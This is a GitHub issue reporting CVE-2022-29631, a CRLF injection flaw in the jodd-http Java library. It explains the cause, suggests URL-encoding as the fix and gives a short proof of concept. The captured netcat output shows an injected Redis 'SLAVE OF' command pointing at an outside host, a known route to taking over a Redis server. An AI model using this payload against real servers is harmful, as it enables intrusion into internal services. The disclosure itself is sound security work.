

 \bigcirc Closed 1nhann opened this issue on Apr 17 \cdot 0 comments

Assignees



Labels

bug good first issue

1nhann commented on Apr 17 • edited ▼

Contributor

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29631

CRLF injection vulnerability in jodd-http

CRLF injection vulnerability in <code>jodd.http.HttpRequest#set</code> and <code>jodd.http.HttpRequest#send</code> in <code>jodd-http.version 5.0.x</code>, 5.1.x, 5.2.x, 6.0.x, 6.1.x, 6.2.x (all versions so far), allows remote attackers to inject arbitrary TCP payload via CRLF sequences in a URL .

Proof of concept:

```
HttpResponse res = req.send();
}
```

run the poc, listen on 127.0.0.1:6379

```
C:\>nc -lp 6379
GET / HTTP/1.1
Host: 127.0.0.1:6379

SLAVE OF inhann.top:6379

POST / HTTP/1.1
Connection: Close
Host: 127.0.0.1:6379
User-Agent: Jodd HTTP
```

details:

in jodd.http.HttpRequest#set() when processing path , this.path(destination); is called , and it is allowed to inject \r\n in query string and path and fragment .

in <code>jodd.http.HttpRequest#sendTo()</code> , <code>this.buffer(true);</code> is called , and trying to build the http request payload . However , the path , query string , frament and othor components are just appended insecurely , which leads to the crlf injection .

suggestion:

it is recommended to urlencode the invalid characters when constructing the http request payload.

[2] **[a] Inhann** mentioned this issue on Apr 17

fix security issues #8



- A igr self-assigned this on Apr 18

